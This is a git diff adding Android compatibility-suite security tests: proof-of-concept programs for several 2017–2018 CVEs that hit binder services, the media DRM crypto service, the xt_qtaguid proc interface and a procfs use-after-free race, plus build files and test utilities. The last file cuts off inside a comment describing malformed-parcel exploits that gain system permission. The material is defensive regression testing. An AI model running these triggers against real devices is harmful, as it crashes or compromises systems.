diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
new file mode 100644
index 0000000..37e3ca7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0415/poc.cpp
@@ -0,0 +1,74 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <gui/BufferQueue.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <ui/Fence.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAX_TRY 5000 // based on experiments
+volatile int quit = 1;
+
+static void *start2(void *args) {
+ sp<IGraphicBufferProducer> bufferProducer =
+ *(sp<IGraphicBufferProducer> *)args;
+
+ /*
+ * It will end when ever the main thread exits due to
+ * two conditions.
+ * 1. count value reaches less than 0
+ * 2. Transact failed
+ */
+ while (quit) {
+ int buffer;
+ sp<Fence> fence;
+ bufferProducer->dequeueBuffer(&buffer, &fence, 800, 600, 1, 0, nullptr,
+ nullptr);
+ }
+ return NULL;
+}
+
+int main(__attribute__((unused)) int argc,
+ __attribute__((unused)) char *const argv[]) {
+ int count = MAX_TRY;
+ int result = EXIT_SUCCESS;
+ sp<IGraphicBufferProducer> bufferProducer = NULL;
+ sp<IGraphicBufferConsumer> bufferConsumer = NULL;
+
+ pthread_t thread;
+ pthread_create(&thread, NULL, start2, &bufferProducer);
+
+ while (quit) {
+ bufferConsumer->setConsumerName(String8("dddddddddddddddd"));
+ String8 str = bufferProducer->getConsumerName();
+ if (count < 0) {
+ quit = 0;
+ }
+ if (!strcmp("TransactFailed", str.string())) {
+ result = EXIT_FAILURE;
+ quit = 0;
+ }
+ count--;
+ }
+ pthread_join(thread, NULL);
+
+ return result;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
new file mode 100644
index 0000000..5561115
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0477
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
new file mode 100644
index 0000000..5a7baa7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0477/poc.c
@@ -0,0 +1,63 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <sys/mman.h>
+
+typedef struct {
+ uint32_t width;
+ uint32_t height;
+ uint32_t format;
+ const unsigned char* pixels;
+} gdx2d_pixmap;
+
+gdx2d_pixmap *(*gdx2d_load)(const unsigned char *buffer, uint32_t len);
+void (*gdx2d_free)(const gdx2d_pixmap* pixmap);
+
+int main() {
+ void *libgdx = dlopen("libgdx.so", RTLD_LAZY);
+ if(libgdx == NULL) {
+ return -1;
+ }
+ gdx2d_load = dlsym(libgdx, "gdx2d_load");
+ gdx2d_free = dlsym(libgdx, "gdx2d_free");
+ if(gdx2d_load == NULL || gdx2d_free == NULL){
+ dlclose(libgdx);
+ return -2;
+ }
+
+ char *fname = "/data/local/tmp/CVE-2017-0477.gif";
+ int fd = open(fname, O_RDONLY);
+ struct stat st;
+ fstat(fd, &st);
+ void *ptr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+
+ gdx2d_pixmap *pixmap = gdx2d_load((unsigned char *) ptr, st.st_size);
+ if (pixmap) {
+ gdx2d_free(pixmap);
+ }
+ dlclose(libgdx);
+ return 0;
+}
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
new file mode 100644
index 0000000..1cb7357
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-13273
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
new file mode 100644
index 0000000..0856392
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13273/poc.c
@@ -0,0 +1,136 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define MAX_THREAD 6
+
+int ctrl_fd;
+static int cmd;
+static int status[MAX_THREAD];
+static int sock_fd;
+
+void *thread_entry(void *arg) {
+ int index, len = 256, ret;
+ char buf[256];
+ index = (int)(unsigned long)arg;
+ memset(buf, 0x0, 256);
+ status[index] = 1;
+
+ // cmd =-1 signifies error in thread creation
+ while (cmd != 1 && cmd != -1) {
+ usleep(5);
+ }
+
+ if (cmd != -1) {
+ switch (index % 3) {
+ case 0:
+ len = sprintf(buf, "d %lu", (unsigned long)0);
+ break;
+ case 2:
+ len = sprintf(buf, "t %d", sock_fd);
+ break;
+ }
+
+ ret = write(ctrl_fd, buf, len);
+ }
+
+ status[index] = 2;
+ return NULL;
+}
+/*
+ *This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
+ *which causes null pointer derefrences in netstat.
+ */
+int main() {
+ int fd, retry = 1024;
+ int ret, i, loop;
+ pthread_t tid[MAX_THREAD];
+
+ fork();
+ sock_fd = socket(AF_INET, SOCK_STREAM, 0);
+ while (retry--) {
+ cmd = 0;
+ for (i = 0; i < MAX_THREAD; i++) {
+ status[i] = 0;
+ }
+
+ fd = open("/dev/xt_qtaguid", O_RDONLY);
+ if (fd < 0) {
+ return -1;
+ }
+
+ ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
+ if (ctrl_fd < 0) {
+ return -1;
+ }
+
+ for (i = 0; i < MAX_THREAD; i++) {
+ ret =
+ pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
+ if (ret != 0) {
+ cmd = -1;
+ close(ctrl_fd);
+ }
+ }
+
+ loop = 1;
+ int count = 0;
+ // loop until all threads have status == 1
+ while (loop) {
+ loop = 0;
+ count = count + 1;
+ for (i = 0; i < MAX_THREAD; i++)
+ if (status[i] != 1) {
+ loop = 1;
+ break;
+ }
+
+ if (loop) {
+ usleep(5);
+ }
+ }
+
+ cmd = 1;
+ loop = 1;
+ while (loop) {
+ loop = 0;
+ count = count + 1;
+ for (i = 0; i < MAX_THREAD; i++)
+ if (status[i] != 2) {
+ loop = 1;
+ break;
+ }
+
+ if (loop) {
+ usleep(5);
+ }
+ }
+ close(fd);
+ }
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
new file mode 100644
index 0000000..0615108
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/Android.mk
@@ -0,0 +1,38 @@
+#
+#copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9424
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+
+LOCAL_SHARED_LIBRARIES := libbinder \
+ libutils \
+ libcutils
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+LOCAL_CPPFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
new file mode 100644
index 0000000..88dfad6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9424/poc.cpp
@@ -0,0 +1,149 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions vand
+ * limitations under the License.
+ */
+
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <binder/IMemory.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/Parcel.h>
+#include <cutils/ashmem.h>
+#include <utils/String8.h>
+
+using namespace android;
+
+#define MAKE_CRYPTO (IBinder::FIRST_CALL_TRANSACTION)
+#define CREATE_PLUGIN (IBinder::FIRST_CALL_TRANSACTION + 2)
+#define DECRYPT (IBinder::FIRST_CALL_TRANSACTION + 5)
+#define SET_HEAP (IBinder::FIRST_CALL_TRANSACTION + 8)
+
+class MyMemoryHeap : public virtual BnMemoryHeap {
+public:
+ MyMemoryHeap(int fd) { mFd = fd; }
+ int getHeapID() const { return mFd; }
+ void *getBase() const { return NULL; }
+ size_t getSize() const { return 4096 * 4096; }
+ uint32_t getFlags() const { return 0; }
+ uint32_t getOffset() const { return 0; }
+
+private:
+ mutable int mFd;
+};
+
+sp<IBinder> crypto_binder;
+
+void make_crypto() {
+
+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> drm_binder = sm->getService(String16("media.drm"));
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.media.IMediaDrmService"));
+
+ drm_binder->transact(MAKE_CRYPTO, data, &reply, 0);
+
+ crypto_binder = reply.readStrongBinder();
+}
+
+void create_plugin() {
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+
+ uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
+ 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
+ data.write(uuid, 16);
+
+ data.writeInt32(0);
+
+ crypto_binder->transact(CREATE_PLUGIN, data, &reply, 0);
+}
+
+int set_heap() {
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+ int fd = ashmem_create_region("ele7enxxh", 4096);
+ sp<IMemoryHeap> heap = new MyMemoryHeap(fd);
+ data.writeStrongBinder(IInterface::asBinder(heap));
+
+ crypto_binder->transact(SET_HEAP, data, &reply, 0);
+
+ return reply.readInt32();
+}
+
+void decrypt() {
+
+ Parcel data, reply;
+
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+ data.writeInt32(0);
+ data.writeInt32(0);
+ data.writeInt32(0);
+
+ uint8_t key[16];
+ memset(key, 0, 16);
+ data.write(key, 16);
+ uint8_t iv[16];
+ memset(iv, 0, 16);
+ data.write(iv, 16);
+
+ // totalsize
+ data.writeInt32(4096 * 4);
+
+ sp<MemoryDealer> memoryDealer = new MemoryDealer(4096 * 4);
+ sp<IMemory> mem = memoryDealer->allocate(4096 * 4);
+ data.writeStrongBinder(IInterface::asBinder(mem));
+
+ // source.mHeapSeqNum
+ data.writeInt32(0);
+
+ // offset
+ data.writeInt32(0);
+
+ // numSubSamples
+ data.writeInt32(1);
+
+ // numBytesOfClearData
+ data.writeInt32(4096 * 4);
+
+ // numBytesOfEncryptedData
+ data.writeInt32(0);
+
+ // destination.mType
+ data.writeInt32(0);
+
+ // destination.mSharedMemory
+ data.writeStrongBinder(IInterface::asBinder(mem));
+
+ crypto_binder->transact(DECRYPT, data, &reply, 0);
+}
+
+int main() {
+
+ make_crypto();
+
+ create_plugin();
+
+ set_heap();
+
+ decrypt();
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
new file mode 100644
index 0000000..3c8d79c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/Android.mk
@@ -0,0 +1,30 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2018-9515
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
new file mode 100644
index 0000000..a07c652
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9515/poc.c
@@ -0,0 +1,75 @@
+#define _GNU_SOURCE
+#include <pthread.h>
+#include <err.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <string.h>
+#include <time.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include "../includes/common.h"
+
+pid_t looper_pid;
+
+void *uaf_worker(__attribute__ ((unused)) void *unused) {
+ char cwd_path[100];
+ sprintf(cwd_path, "/proc/self/task/%d/cwd", (int)looper_pid);
+
+ time_t timer = start_timer();
+ while (is_timer_expired(timer)) {
+ char symlink_target[1000];
+ int len = readlink(cwd_path, symlink_target, sizeof(symlink_target)-1);
+ if (len > 0) {
+ symlink_target[len] = 0;
+ }
+ }
+
+ return NULL;
+}
+
+void *chaos_worker(__attribute__ ((unused)) void *unused) {
+ if (chdir("/sdcard/Android/data/CVE-2018-9515"))
+ err(1, "chdir");
+ rmdir("subdir");
+
+ time_t timer = start_timer();
+ while (is_timer_expired(timer)) {
+ if (mkdir("subdir", 0777))
+ err(1, "mkdir");
+ if (chdir("subdir"))
+ err(1, "chdir");
+ if (rmdir("../subdir"))
+ err(1, "rmdir");
+ if (chdir(".."))
+ err(1, "chdir");
+ }
+
+ return NULL;
+}
+
+int main(void) {
+ looper_pid = syscall(__NR_gettid);
+
+ pthread_t thread;
+ if (pthread_create(&thread, NULL, uaf_worker, NULL))
+ errx(1, "pthread_create failed");
+
+ pthread_t thread2;
+ if (pthread_create(&thread2, NULL, chaos_worker, NULL))
+ errx(1, "pthread_create failed");
+
+ char my_dir_name[100];
+ sprintf(my_dir_name, "/sdcard/Android/data/CVE-2018-9515/foobar");
+ rmdir(my_dir_name);
+
+ time_t timer = start_timer();
+ while (is_timer_expired(timer)) {
+ if (mkdir(my_dir_name, 0777))
+ err(1, "looper: mkdir");
+ if (rmdir(my_dir_name))
+ err(1, "looper: rmdir");
+ }
+
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
new file mode 100644
index 0000000..3c77b7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -0,0 +1,13 @@
+#include <time.h>
+#define MAX_TEST_DURATION 300
+
+time_t start_timer(void);
+int is_timer_expired(time_t timer_started);
+
+time_t start_timer(){
+ return time(NULL);
+}
+
+int is_timer_expired(time_t timer_started){
+ return time(NULL) < (timer_started + MAX_TEST_DURATION);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
new file mode 100644
index 0000000..eeeb4fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/HostsideOomCatcher.java
@@ -0,0 +1,226 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.BackgroundDeviceAction;
+
+import android.platform.test.annotations.RootPermissionTest;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.Scanner;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.Map;
+import java.util.HashMap;
+import java.util.concurrent.ConcurrentHashMap;
+import com.android.ddmlib.MultiLineReceiver;
+import com.android.ddmlib.Log;
+import com.android.ddmlib.TimeoutException;
+import java.lang.ref.WeakReference;
+
+/**
+ * A utility to monitor the device lowmemory state and reboot when low. Without this, tests that
+ * cause an OOM can sometimes cause ADB to become unresponsive indefinitely. Usage is to create an
+ * instance per instance of SecurityTestCase and call start() and stop() matching to
+ * SecurityTestCase setup() and teardown().
+ */
+public class HostsideOomCatcher {
+
+ private static final String LOG_TAG = "HostsideOomCatcher";
+
+ private static final long LOW_MEMORY_DEVICE_THRESHOLD_KB = 1024 * 1024; // 1GB
+ private static Map<String, WeakReference<BackgroundDeviceAction>> oomCatchers =
+ new ConcurrentHashMap<>();
+ private static Map<String, Long> totalMemories = new ConcurrentHashMap<>();
+
+ private boolean isLowMemoryDevice = false;
+
+ private SecurityTestCase context;
+
+ /**
+ * test behavior when oom is detected.
+ */
+ public enum OomBehavior {
+ FAIL_AND_LOG, // normal behavior
+ PASS_AND_LOG, // skip tests that oom low memory devices
+ FAIL_NO_LOG, // tests that check for oom
+ }
+ private OomBehavior oomBehavior = OomBehavior.FAIL_AND_LOG; // accessed across threads
+ private boolean oomDetected = false; // accessed across threads
+
+ public HostsideOomCatcher(SecurityTestCase context) {
+ this.context = context;
+ }
+
+ /**
+ * Utility to get the device memory total by reading /proc/meminfo and returning MemTotal
+ */
+ private static long getMemTotal(ITestDevice device) throws DeviceNotAvailableException {
+ String memInfo = device.executeShellCommand("cat /proc/meminfo");
+ Pattern pattern = Pattern.compile("MemTotal:\\s*(.*?)\\s*[kK][bB]");
+ Matcher matcher = pattern.matcher(memInfo);
+ if (matcher.find()) {
+ return Long.parseLong(matcher.group(1));
+ } else {
+ throw new RuntimeException("Could not get device memory total");
+ }
+ }
+
+ /**
+ * Start the hostside oom catcher thread for the test.
+ * Match this call to SecurityTestCase.setup().
+ */
+ public synchronized void start() throws Exception {
+ // cache device TotalMem to avoid and adb shell for every test.
+ Long totalMemory = totalMemories.get(getDevice().getSerialNumber());
+ if (totalMemory == null) {
+ totalMemory = getMemTotal(getDevice());
+ totalMemories.put(getDevice().getSerialNumber(), totalMemory);
+ }
+ isLowMemoryDevice = totalMemory < LOW_MEMORY_DEVICE_THRESHOLD_KB;
+
+ // reset test oom behavior
+ // Low memory devices should skip (pass) tests when OOMing and log so that the
+ // high-memory-test flag can be added. Normal devices should fail tests that OOM so that
+ // they'll be ran again with --retry. If the test OOMs because previous tests used the
+ // memory, it will likely pass on a second try.
+ if (isLowMemoryDevice) {
+ oomBehavior = OomBehavior.PASS_AND_LOG;
+ } else {
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
+ }
+ oomDetected = false;
+
+ // Cache OOM detection in separate persistent threads for each device.
+ WeakReference<BackgroundDeviceAction> reference =
+ oomCatchers.get(getDevice().getSerialNumber());
+ BackgroundDeviceAction oomCatcher = null;
+ if (reference != null) {
+ oomCatcher = reference.get();
+ }
+ if (oomCatcher == null || !oomCatcher.isAlive() || oomCatcher.isCancelled()) {
+ AdbUtils.runCommandLine("am start com.android.cts.oomcatcher/.OomCatcher", getDevice());
+
+ oomCatcher = new BackgroundDeviceAction(
+ "logcat -c && logcat OomCatcher:V *:S",
+ "Oom Catcher background thread",
+ getDevice(), new OomReceiver(), 0);
+
+ oomCatchers.put(getDevice().getSerialNumber(), new WeakReference<>(oomCatcher));
+ oomCatcher.start();
+ }
+ }
+
+ /**
+ * Stop the hostside oom catcher thread.
+ * Match this call to SecurityTestCase.setup().
+ */
+ public static void stop(String serial) {
+ WeakReference<BackgroundDeviceAction> reference = oomCatchers.get(serial);
+ if (reference != null) {
+ BackgroundDeviceAction oomCatcher = reference.get();
+ if (oomCatcher != null) {
+ oomCatcher.cancel();
+ }
+ }
+ }
+
+ /**
+ * Check every test teardown to see if the device oomed during the test.
+ */
+ public synchronized boolean isOomDetected() {
+ return oomDetected;
+ }
+
+ /**
+ * Return the current test behavior for when oom is detected.
+ */
+ public synchronized OomBehavior getOomBehavior() {
+ return oomBehavior;
+ }
+
+ /**
+ * Flag meaning the test will likely fail on devices with low memory.
+ */
+ public synchronized void setHighMemoryTest() {
+ if (isLowMemoryDevice) {
+ oomBehavior = OomBehavior.PASS_AND_LOG;
+ } else {
+ oomBehavior = OomBehavior.FAIL_AND_LOG;
+ }
+ }
+
+ /**
+ * Flag meaning the test uses the OOM catcher to fail the test because the test vulnerability
+ * intentionally OOMs the device.
+ */
+ public synchronized void setOomTest() {
+ oomBehavior = OomBehavior.FAIL_NO_LOG;
+ }
+
+ private ITestDevice getDevice() {
+ return context.getDevice();
+ }
+
+ /**
+ * Read through logcat to find when the OomCatcher app reports low memory. Once detected, reboot
+ * the device to prevent a soft reset with the possiblity of ADB becomming unresponsive.
+ */
+ class OomReceiver extends MultiLineReceiver {
+
+ private boolean isCancelled = false;
+
+ @Override
+ public void processNewLines(String[] lines) {
+ for (String line : lines) {
+ if (Pattern.matches(".*Low memory.*", line)) {
+ // low memory detected, reboot device to clear memory and pass test
+ isCancelled = true;
+ Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG,
+ "lowmemorykiller detected; rebooting device.");
+ synchronized (HostsideOomCatcher.this) { // synchronized for oomDetected
+ oomDetected = true;
+ }
+ try {
+
+ getDevice().nonBlockingReboot();
+ getDevice().waitForDeviceOnline(60 * 2 * 1000); // 2 minutes
+ context.updateKernelStartTime();
+ } catch (Exception e) {
+ Log.e(LOG_TAG, e.toString());
+ }
+ return; // we don't need to process remaining lines in the array
+ }
+ }
+ }
+
+ @Override
+ public boolean isCancelled() {
+ return isCancelled;
+ }
+ }
+}
+
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
new file mode 100644
index 0000000..3a61311
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/LaunchSomeWhere.java
@@ -0,0 +1,93 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+/*
+ * Adding Tests:
+ * We are testing a series of exploits that all take advantage of binder in the
+ * same way, using a malformed parcel to get system permission, with the only
+ * difference being the details of how we create the malformed parcel. In order
+ * to take advantage of these similarities (among other reasons) we share code
+ * between these exploits with an app that only requires two things to run a new
+ * version of this exploit: a class implementing IGenerateMalformedParcel and an
+ * intent telling the app which version of the exploit to run.
+ *
+ * When you recieve a new LaunchAnyWhere exploit it will likely be in the form
+ * of an app that can perform a number of actions such as creating a new pin
+ * or installing an app without recieving the appropriate permissions. However,
+ * the only file we care about form the app will be GenMalformedParcel.java.
+ * Find that file and follow these steps to add a new LaunchAnyWhere test:
+ *
+ * 1. Copy GenMalformedParcel.java into the LaunchAnyWhere app at
+ * cts/hostsidetests/security/test-apps/launchanywhere/src... Rename the file
+ * and class after the CVE that you are addressing. Modify the class
+ * signature and method signature so that it implements
+ * IGenerateMalformedParcel (namely, add the `implements` clause and change
+ * the function to public Parcel generate(Intent intent)).
+ *
+ * 2. Next, add a hostside test to the appropriate file in this directory.
+ * In the test all you have to do is call
+ * LaunchSomeWhere.launchSomeWhere("CVE_20XX_XXXXX", getDevice());
+ *
+ * 3. Verify your test and submit, assuming all went well. If not then check
